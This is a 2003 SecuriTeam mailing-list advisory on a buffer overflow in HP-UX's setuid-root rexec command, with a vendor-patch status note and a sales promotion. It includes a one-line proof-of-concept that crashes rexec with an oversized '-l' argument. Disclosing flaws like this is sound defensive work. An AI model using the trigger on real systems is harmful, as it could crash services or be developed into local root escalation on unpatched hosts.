

[UNIX] HPUX rexec Buffer Overflow Vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-04/0080.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 04/30/03

To: list@securiteam.com

Date: 30 Apr 2003 11:27:58 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

In the US?

Contact Beyond Security at our new California office housewarming rates on automated network vulnerability scanning. We also welcome ISPs and other resellers!

Please contact us at: 323-882-8286 or ussales@beyondsecurity.com

HPUX rexec Buffer Overflow Vulnerability

SUMMARY

The rexec command works the same as remsh except that it uses the rexec() library routine and rexecd for command execution and does not support Kerberos authentication. One of the parameters rexec tool receives allows attackers to cause a buffer to overflow.

DETAILS

Rexec uses the "-l" option to specify a different remote username.

```
$ ls -al rexec
-r-sr-xr-x 1 root bin 20480 Oct 27 1997 rexec
```

Using rexec with "-l" with a long option string:

```
$ rexec 127.0.0.1 -l `perl -e 'printf "A" x 9777` -n something
Memory fault
```

Solution:

Davide is in contact with HP's Security staff, especially with John

Securiteam: [UNIX] HPUX rexec Buffer Overflow Vulnerability

Morris, and Davide would like to thanks him and all his staff for the interest demonstrated during this period of research on HP-UX. He assured Davide, a patch has been written, and an Official Security Bulletin will follow Davide's advisory.

ADDITIONAL INFORMATION

The information has been provided by <mailto:dante@alighieri.org> Davide Del Vecchio.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.